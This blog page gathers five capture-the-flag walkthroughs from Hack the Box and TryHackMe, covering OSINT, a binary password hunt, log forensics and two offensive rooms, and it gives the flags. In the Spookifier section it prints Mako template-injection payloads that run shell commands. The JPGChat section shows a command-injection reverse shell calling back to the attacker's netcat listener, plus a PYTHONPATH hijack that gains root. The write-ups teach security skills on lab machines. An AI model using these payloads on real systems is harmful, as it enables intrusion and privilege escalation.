Author: Pete

Capture the Flag

Hack the Box Walkthrough: The Puppet Master

An image representing a generic puppet masterThis time, we’re going to be back in a Hack the Box challenge called The Puppet Master. Its description is “An anonymous source has shared a photograph of an unidentified military armored vehicle during field operations. Your mission is to conduct a comprehensive OSINT analysis to identify this vehicle and its specifications.”

The first thing you have to do is click “Start Instance” on the HTB page for this challenge. It will spin up a container and you’ll get an IP and Port to connect to. When you get there, you will get a website with these pages.

First, we come to the Dashboard page. This explains the Scenario, the Objective, and some information about OSINT Investigation as a whole.

The Pupppet Master Dashboard Page

Next, we come to the Evidence page. This has the image for us to investigate and some initial observations about that image.

The Pupppet Master Evidence Page

Lastly, we have the Challenge page. This is the page with the list of questions that we will need to answer.

The Pupppet Master Challenge Page

Now that we’ve got the lay of the land, let’s tackle the questions.

Q1. What type of military vehicle is shown in the image? Look at the vehicle’s characteristics: it’s wheeled, armored, and appears to be a personnel carrier. Research similar vehicles online.

I went to tineye.com and uploaded the image. I purposely didn’t select any pages that looked like they were related to solving this challenge. I went to this blog: https://defense-studies.blogspot.com/2023/05/ and found an article mentioning that 18 Bushmaster PMVs were delivered to the New Zealand Army.

A1. Bushmaster

Q2. Who is the manufacturer/designer of this vehicle? Research the company that designed and produces this specific armored vehicle.

I googled it and was pointed to the Wikipedia article for it and got the answer https://en.wikipedia.org/wiki/Bushmaster_Protected_Mobility_Vehicle

A2. Thales Australia

Q3. When did this vehicle first enter military service? Research the year this specific vehicle type was first deployed operationally.

Same wikipedia page

A3.1997

Q4. What is the country of origin for this vehicle? Research where this specific vehicle was originally designed and manufactured.

Same page, though the name of the manufacturer is also a bit of a giveaway

A4. Australia

Q5. What is the passenger capacity of this vehicle? Research how many passengers plus crew it can carry (format: X passengers and Y driver).

Wikipedia page again.

A5. 9 passengers and 1 driver

After you finish that last question, you submit for final analysis and get the flag to submit back at the Hack the Box Challenge page. That’s it. Very Easy as the chaps promised. The biggest trick here was knowing how to use TinEye or Google Reverse Image Search and then to investigate from there.

The Puppetmaster Pwned

Capture the Flag

Hack The Box Walkthrough: SpookyPass

A ghost holding a ticket to get into a partyToday’s challenge is a very easy challenge from Hack the Box. You can find it here. There is no machine to start up, you just download the required files for the challenge. You’ll get a .zip file and the password they provide you is hackthebox.

(kali@vici)-[~/htb/spookypass]
$ unzip SpookyPass.zip                                                      
Archive:  SpookyPass.zip
   creating: rev_spookypass/
[SpookyPass.zip] rev_spookypass/pass password: 
  inflating: rev_spookypass/pass    

After unzipping it, we see that it unzipped a directory called rev_spookypass and that directory has a single file in it called pass. When we run the file command on pass, we see that is an executable and that it is not stripped.

(kali@vici)-[~/htb/spookypass]
$ ls
rev_spookypass  SpookyPass.zip
                                                                                                                                                        
(kali@vici)-[~/htb/spookypass]
$ cd rev_spookypass && ls
pass

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ file pass     
pass: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3008217772cc2426c643d69b80a96c715490dd91, for GNU/Linux 4.4.0, not stripped

Since this is Hack the Box, we can be a little less cautious. However, if you find an executable in the wild, don’t just run it. The better play is to get it into a sandbox and run it there so that it can’t do any damage to your machine or VM on the chance that it is malicious. Warnings aside, here we go..

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass                                         
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: hackthebox
You're not a real ghost; clear off!

Okay. So, we need a password. The file command said that this binary executable is not stripped. What does that even mean? That means that the binary still contains its symbol table and possibly debugging information. The result is that:

  • Function names, variable names, and other symbols are still embedded inside.
  • It’s larger in size than a stripped binary.
  • It’s easier to debug or reverse engineer (e.g., using gdb, objdump, or strings).

Okay, so now we are talking about some good stuff. Since this wants a password and it is checking, it is possible that the password is inside, unobfuscated, and accessible through some simple methods. I’m going to try strings first. What is strings? This description is from the man pages for strings.

DESCRIPTION
For each file given, GNU strings prints the printable character sequences that are at 
least 4 characters long (or the number given with the options below) and are followed 
by an unprintable character.

Depending upon how the strings program was configured it will default to either 
displaying all the printable sequences that it can find in each file, or only those 
sequences that are in loadable, initialized data sections.  If the file type is 
unrecognizable, or if strings is reading from stdin then it will always display all of 
the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - 
will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

What does that get us?

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ strings pass                                          
/lib64/ld-linux-x86-64.so.2
fgets
stdin
puts
__stack_chk_fail
__libc_start_main
__cxa_finalize
strchr
printf
strcmp
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u3UH
Welcome to the 
[1;3mSPOOKIEST
[0m party of the year.
Before we let you in, you'll need to give us the password: 
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
You're not a real ghost; clear off!
;*3$"
GCC: (GNU) 14.2.1 20240805
GCC: (GNU) 14.2.1 20240910
main.c
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
stdin@GLIBC_2.2.5
_edata
_fini
__stack_chk_fail@GLIBC_2.4
strchr@GLIBC_2.2.5
printf@GLIBC_2.2.5
parts
fgets@GLIBC_2.2.5
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

Anything look good in there? Absolutely! Between the string requesting the password and the string welcoming you in is this gem, “s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5”. Let’s see if it works.

(kali@vici)-[~/htb/spookypass/rev_spookypass]
$ ./pass 
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password: s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
HTB{un0bfu5c4t3d_5tr1ng5}   

And there we go. If we put that flag in over at Hack the Box, we win.

Submitting the flag at HTB

SpookyPass Pwned Success Message

There we go! Very Easy, as promised. However, we did get some exposure to learning about unknown files and some very basic skills in prodding those files to see what might be hidden within them. Any questions, let me know in the comments!

Capture the Flag

Hack the Box Walkthrough: Spookifier

Diet Coke Ghost to represent the Spookifier roomToday, we’re going to take on a Hack the Box challenge called Spookifier. This is a free, retired challenge that you can find here. Unlike the other HackTheBox stuff that I’ve been doing, this won’t be a “Sherlock” / defensive / Blue Team exercise, but rather more of an offensive security exercise where we will actually attempt to exploit an application.

Here’s their description of the challenge, “There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?”

So, there is a machine we have to start and also a zip to download. The password for the zip is hackthebox. Inside, we find the code for the application that is running on the server, so that means that this is a “white box” testing scenario. Instead of just probing the machine to try to guess what it is doing, we can see the source code and take our shot at it. Once you unzip the file, you’ll have a structure like this (shown in Visual Studio Code)

Spookifier Zip File Contents

As I poked around, it looks like this is a pretty simple Python web application that takes what you enter and then displays it with some weird, spooky fonts. What I notice right away (and you can see it in my screenshot above) is that it uses the Mako templating engine, as those imports are present in main.py and util.py. When you’re working a CTF and you know you can enter data that will be processed and you have server side templates, you want to think Server-Side Template Injection (SSTI) pretty early in the things you try. Let’s do that first since this is a challenge marked “Very Easy”, so there aren’t usually rabbit holes at this level.

I started the instance and was given this IP:PORT – 94.237.60.55:57424. After I connected my Kali machine to the HTB VPN, I navigated to the URL and found this

Spookifier Home Page

The very first thing for me is to see how it is supposed to work, the “happy path” if you will. So, I entered Pete and this is what I got. This screenshot may be a little small, but my text I entered also ended up in the URL as http://94.237.60.55:57424/?text=Pete. That’s something else to note if the text input ever gets funny about what we want to enter, we can attack the URL, if necessary.

Spookifier Name Happy Path

So, if we consult PayloadsAllTheThings, we can find how to confirm this is the templating engine in use by looking at the Inject Template Syntax section. The chart there is helpful if you think you have SSTI but don’t already know the engine to slowly work your way through. We are already 99.99% sure, but I’m going to do an initial, simple, first-level check of ${7*7} just to see if we have SSTI. We see 49, so we know we have SSTI.

Spookifier SSTI Check One

Again referencing PayloadsAllTheThings, the final check to confirm Mako is this: ${"z".join("ab")}. If it returns azb, we’re good to go with Mako. You can see here that that was confirmed.

Spookifier SSTI Mako Confirm

Okay, we have SSTI, we have Mako, how can we get command execution? Referencing this site, let’s take a shot at what they suggest.


${self.module.cache.util.os.system("id")}

That didn’t work for me. It returned 0 at the bottom. I’m guessing it is because it executed a command (helpful for reverse shell?), but didn’t return output to the screen. But right above it also says we can do something like this also.


<%
import os
x=os.popen('id').read()
%>
${x}

That popen (process open) and read look tasty, so once we are at os, we want to try that tactic, so let me work that a little differently.


${self.module.cache.util.os.popen("id").read()}

And if I put that, I get this. Successful code execution.
Spookifier SSTI Code Execution

So, when I run this command, I can find out what directory we’re in.


${self.module.cache.util.os.popen("pwd").read()}

That gives us /app. When I run passing in ls, I get


application run.py

If we look at the code we were given in the zip file, the Flag is one level up from where we are. Let’s read it by passing in this command to read a file called flag.txt one level up from our folder.


${self.module.cache.util.os.popen("cat ./../flag.txt").read()}

And that gives us the flag and completes the challenge!

Spookifier Flag

Spookifier Pwned

Capture the Flag

Hack the Box Walkthrough: SmartyPants

HTB SmartyPants LogoToday, we’re going to go through the HackTheBox Sherlock (Blue Team) room called SmartyPants. It is a retired Sherlock and you can follow along for free here. There is also a blog post that HTB put out at the same time that talks about how to use SmartScreen logs, which is the core of what we have to do in this room. It is definitely worth reading, because it has a lot of good information not only on how SmartScreen works (and how to enable it), but how to use it from a forensic standpoint.

Turning back to our activity, here’s the scenario:

Forela's CTO, Dutch, stores important files on a separate Windows system because the domain environment at Forela is frequently breached due to its exposure across various industries. On 24 January 2025, our worst fears were realised when an intruder accessed the fileserver, installed utilities to aid their actions, stole critical files, and then deleted them, rendering them unrecoverable. The team was immediately informed of the extortion attempt by the intruders, who are now demanding money. While our legal team addresses the situation, we must quickly perform triage to assess the incident's extent. Note from the manager: We enabled SmartScreen Debug Logs across all our machines for enhanced visibility a few days ago, following a security research recommendation. These logs can provide quick insights, so ensure they are utilised.

To kick it off, we have to download a 4MB zip file called SmartyPants.zip. It is password protected and – as usual – the password is hacktheblue. Inside, there is a folder called Logs and that folder contains 358 .evtx (Windows Event Viewer) files. There are ways to do this with Linux, including multiple utilities that convert .evtx to JSON or CSV. I’m going to just tackle this with Windows.

The contents of the SmartyPants.zip file

Task 1: The attacker logged in to the machine where Dutch saves critical files, via RDP on 24th January 2025. Please determine the timestamp of this login.

Let’s open up the Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx file. It has 33 events in it and I want to filter for Event ID 1149, which represents “Remote Desktop Services: User authentication succeeded”. So I select the Action Filter Current Log… and enter 1149 for the Event ID and click OK. There is literally only one.

Remote Desktop Services: User authentication succeeded:

User: Dutch
Domain: 
Source Network Address: 0:0:fe80::d18c:695%1989170785

The details of the Remote Login

You’ll notice that the user is Dutch and we have our timestamp. However, in this view, it is adjusted for my local time, which is Eastern Daylight Time (currently GMT – 500). If we switch the Event Viewer and look at the XML view, it does show the original time before Windows tried to “help” me.

<TimeCreated SystemTime="2025-01-24T10:15:14.4560120Z" />

Task 1 Answer: 2025-01-24 10:15:14

Task 2: The attacker downloaded a few utilities that aided them for their sabotage and extortion operation. What was the first tool they downloaded and installed?

This time, we want to dig into the Microsoft-Windows-SmartScreen%4Debug.evtx file to see what they were doing. We know they logged on at 5:15AM (my time), which is about when this log starts. So I want to look at earlier events (bottom of my default sort) and not the later ones that are at the top. I clicked through and saw where the user opened MS Edge (which went through a few checks) and then downloaded a file that was also SmartScreen checked.

{"$type":"isFileSupported","executionTime":"9281","path":"C:\\Users\\Dutch\\Downloads\\winrar-x64-701.exe","size":"3912088"}

Task 2 Answer: WinRAR

Task 3: They then proceeded to download and then execute the portable version of a tool that could be used to search for files on the machine quickly and efficiently. What was the full path of the executable?

Same deal here. Stay in the same log and just follow what the user was doing in the browser. It is only a few more log entries above this last one.

{"$type":"isFileSupported","executionTime":"8701","path":"C:\\Users\\Dutch\\Downloads\\Everything.exe","size":"1778192"}

Note that the double slashes are just the tool escaping the slashes. The correct answer only has single backslashes throughout. Also, I’ve seen some complaints in the reviews of this room on HTB where people were upset and didn’t know when to say the tool and when to say the path. Pay very close attention to the question and the preview hints in the textboxes. I don’t know if they’ve updated them since the room was released, but the current version of both is pretty clear.

Task 3 Answer: c:\Users\Dutch\Downloads\Everything.exe

Task 4: What is the execution time of the tool from task 3?

Same log, just keep traversing up / forward in time. Here are the relevant parts of the XML view (so timezone is correct).

<TimeCreated SystemTime="2025-01-24T10:17:33.5613231Z" /> 

<Data Name="Data">{"$type":"isFileSupported","executionTime":"8701","path":"C:\\Users\\Dutch\\Downloads\\Everything.exe","size":"1778192"}</Data> 

Task 4 Answer: 2025-01-24 10:17:33

Task 5: The utility was used to search for critical and confidential documents stored on the host, which the attacker could steal and extort the victim. What was the first document that the attacker got their hands on and breached the confidentiality of that document?

Broken record. Same log, new few log items.

{"$type":"isFileSupported","executionTime":"3720","path":"C:\\Users\\Dutch\\Documents\\2025- Board of directors Documents\\Ministry Of Defense Audit.pdf","size":"2679956"}

Task 5 Answer: C:\Users\Dutch\Documents\2025- Board of directors Documents\Ministry Of Defense Audit.pdf

Task 6: Find the name and path of second stolen document as well.

19 seconds later.

{"$type":"isFileSupported","executionTime":"3726","path":"C:\\Users\\Dutch\\Documents\\2025- Board of directors Documents\\2025-BUDGET-ALLOCATION-CONFIDENTIAL.pdf","size":"523480"}

Task 6 Answer: C:\Users\Dutch\Documents\2025- Board of directors Documents\2025-BUDGET-ALLOCATION-CONFIDENTIAL.pdf

Task 7: The attacker installed a Cloud utility as well to steal and exfiltrate the documents. What is name of the cloud utility?

Stay in the log and keep tracing their movements.

{"$type":"isFileSupported","executionTime":"12443","path":"C:\\Users\\Dutch\\Downloads\\MEGAsyncSetup64.exe","size":"78861432"}

Keep in mind, they asked for the name of the cloud utility not the path or file name. You can find it by intuition or googling that installer name.

Task 7 Answer: MEGAsync

Task 8: When was this utility executed?

You know the drill by now. We keep going and find when the next log entry that contains the execution. Here’s the relevant parts.

<TimeCreated SystemTime="2025-01-24T10:22:19.4792842Z" />
<Data Name="Data">{"$type":"isFileSupported","executionTime":"3675","path":"C:\\Users\\Dutch\\AppData\\Local\\MEGAsync\\MEGAsync.exe","size":"77568264"}</Data> 

Task 8 Answer: 2025-01-24 10:22:19

Task 9: The Attacker also proceeded to destroy the data on the host so it is unrecoverable. What utility was used to achieve this?

Again, just asking for the name. Move on a little further and we get this.

{"$type":"isFileSupported","executionTime":"7943","path":"C:\\Users\\Dutch\\Downloads\\file_shredder_setup.exe","size":"2317839"}

Task 9 Answer: File Shredder

Task 10: The attacker cleared 2 important logs, thinking they covered all their tracks. When was the security log cleared?

We actually have to switch logs for this one. We have only used 3 of the 358 logs, but I guess HTB really wanted you to know not only HOW to look, but WHERE to look. They are asking about the Security log. Open that one, Security.evtx. Scroll to the very bottom (or wherever the earliest log is for you). The Task Category is “Log clear” and the XML has a section called LogFileCleared in the user data. Here are the relevant parts.

<TimeCreated SystemTime="2025-01-24T10:28:41.9338490Z" /> 
<LogFileCleared xmlns="http://manifests.microsoft.com/win/2004/08/windows/eventlog">
<SubjectUserSid>S-1-5-21-3088055692-629932344-1786574096-1003</SubjectUserSid> 
<SubjectUserName>Dutch</SubjectUserName> 
<SubjectDomainName>CTO-FILESVR</SubjectDomainName> 
<SubjectLogonId>0xe1d52</SubjectLogonId> 
</LogFileCleared>

Task 10 Answer: 2025-01-24 10:28:41

That’s it. Not too bad. Maybe it would have been more exciting if I wrestled with some of the Linux-based tools, but – personally – when I’m administering a Windows environment, I definitely have a Windows machine (at least a VM), so this was better practice to learn about SmartScreen. If you did it differently, comment a link to your blog post, writeup, or video and I’ll definitely check it out!

Capture the Flag

TryHackMe Room Walkthrough: JPGChat

THM JPGChat Room LogoToday, we’re going to do a challenge room from TryHackMe called JPGChat. You can find it here. It is a free room rated as Easy, so feel free to follow along. The room description says, “Exploiting poorly made custom chatting service written in a certain language…”. If you take a look at the logo for this room, you can probably guess what that language is. Going in, I was already thinking that we were going to have to deal with some Python. All we get is the instruction to “Hack into the machine and retrieve the flag” and our two tasks are “Establish a foothold and get user.txt” and “Escalate your privileges to root and read root.txt”. Not a lot of frills, but pretty standard fare, so let’s get started.

The first thing I did was add the IP for my instance of this machine into my /etc/hosts file with the name jpgchat.thm. You don’t have to do this and (spoiler alert), I didn’t really need it or use it very much that way in this room.

Enumeration

nmap

The first thing I did was a basic nmap scan. I’ve taken to just doing a fast scan (-T4) of all TCP ports (-p-) with no scripts running just to find the open ports. I’ve been doing so many of these where the room creators have been avoiding ports in the “most common thousand” that nmap uses if you don’t specify, so I started doing this. Then, you can do a more in-depth scan against only those open ports (here I did -A, which enables OS detection, version detection, script scanning, and traceroute). You can see the results below. We have a standard SSH port open and a port 3000. We don’t see a web server version with port 3000, so this may or may not be a web site.

# Basic nmap
root@vici:~# nmap -T4 -p- 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:25 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00038s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
MAC Address: 02:90:3B:F1:10:2D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds

# In-Depth after we found ports
root@vici:~# sudo nmap -A -T4 -p 22,3000 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:26 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=6/24%Time=685AA78A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x20
SF:service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSAG
SF:E\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(currentl
SF:y\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\x20
SF:report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r(Gen
SF:ericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20t
SF:his\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\
SF:nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(c
SF:urrently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x2
SF:0to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n"
SF:);
MAC Address: 02:90:3B:F1:10:2D (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms jpgchat.thm (10.10.239.7)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds

Port 3000

Viewing Port 3000 with a Web Browser

View Source is only that text. It is not markup at all. There is nothing in the Headers that I can see in the response using the Developer Tools. That’s all weird. It is telling us to do stuff, but I can’t do what they are asking me to do. Because of that, and because of general CTF-ness, I’m going to connect with netcat and see if we can interact with it at all or get some more information than we’re getting from nmap or the browser.

root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hi
[MESSAGE]: wessyde
[MESSAGE]: exit
[MESSAGE]: [REPORT]
this report will be read by Mozzie-jpg
your name:
Me 
your report:
I'm just looking for information... gotcha Mozzie-jpg!
[MESSAGE]: ^C

Okay. So, I can send messages and I can report things. It says the report will be read by Mozzie-jpg. That’s a pretty unique username. Let’s see if we can search that and find anything. The message did say that the source can be found on the admin’s GitHub, this might be what points us to it. And, after about 3 seconds of Googling, I found Mozzie-jpg’s GitHub and then found the repo for this project https://github.com/Mozzie-jpg/JPChat.
Mozzie-jpg's GitHub for this Project

Inside, the source of jpchat.py is this:

#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

	print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
	print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
	message = input('')

	if message == '[REPORT]':
		report_form()
	if message == '[MESSAGE]':
		print ('There are currently 0 other users logged in')
		while True:
			message2 = input('[MESSAGE]: ')
			if message2 == '[REPORT]':
				report_form()

chatting_service()

Exploitation

So there doesn’t seem to be any exploit within the chatting function, but [REPORT] sure does. It runs an os.system() Python command with a good old bash -c. If we just do some command injection with nothing more exciting than a semicolon, we’re going to have some wins here. Here’s what I did next to set up a netcat listener, do the command injection to call out to it, then go back and see the connection.

# In a new tab
root@vici:~# nc -lvnp 4444

# In original tab
root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
pwn3d
your report:
;bash -i >& /dev/tcp/10.10.136.81/4444 0>&1;

# Back in the new tab...
root@vici:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.239.7 55804
bash: cannot set terminal process group (1422): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ 

We’re in. Let’s look around and find the user flag.

cd /home/wes
wes@ubuntu-xenial:~$ ls
ls
user.txt
wes@ubuntu-xenial:~$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}

Privilege Escalation

Recon as Wes

Let’s take a look around. I check the groups that Wes belongs to and his sudo privileges. It ends up that he has no interesting groups and can run sudo on one python file.

wes@ubuntu-xenial:~$ id
id
uid=1001(wes) gid=1001(wes) groups=1001(wes)

# No Good Groups, does sudo -l work?
wes@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

# What is in there?
wes@ubuntu-xenial:~$ cat /opt/development/test_module.py
cat /opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

The file doesn’t do very much, but it does import from a module called compare. So, what I can do is make my own compare module and edit my Python path information so that mine module is called instead of the real one and then my code will get executed as root. So, I make my own compare.py file, edit the path to have /home/wes in it.

# I tried a few things but I couldn't get editors to work, 
# nano not at all and vi was weird/buggy 
# I was too lazy to set up .ssh keys for wes to SSH in and 
# have a better shell experience
# I had already upgraded my shell with a Python pty.spawn() command, 
# but that didn't seem to help
# so i did this the hacky way.  I wasn't sure how to do this in one 
# line with a newline so I did it in two steps
wes@ubuntu-xenial:~$ echo "import os" > compare.py
echo "import os" > compare.py
wes@ubuntu-xenial:~$ echo "os.system('/bin/bash')" >> compare.py
echo "os.system('/bin/bash')" >> compare.py
wes@ubuntu-xenial:~$ cat compare.py
cat compare.py
import os
os.system('/bin/bash')
wes@ubuntu-xenial:~$ chmod +x compare.py
chmod +x compare.py
wes@ubuntu-xenial:~$ export PYTHONPATH=/home/wes
export PYTHONPATH=/home/wes

Getting the Root Shell

After that, we just have to run it and then grab the root flag. Everything below the flag is from the root.txt file, these are the room creator’s shoutouts.

# Now to run it
wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:~# whoami
whoami
root
root@ubuntu-xenial:~# cd /root
cd /root
root@ubuntu-xenial:/root# ls
ls
root.txt
root@ubuntu-xenial:/root# cat root.txt
cat root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}

Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
root@ubuntu-xenial:/root# 

That’s it. A good solid beginner room that had a little OSINT, a little code review, some command injection, and a little Python scripting. Hope you enjoyed it!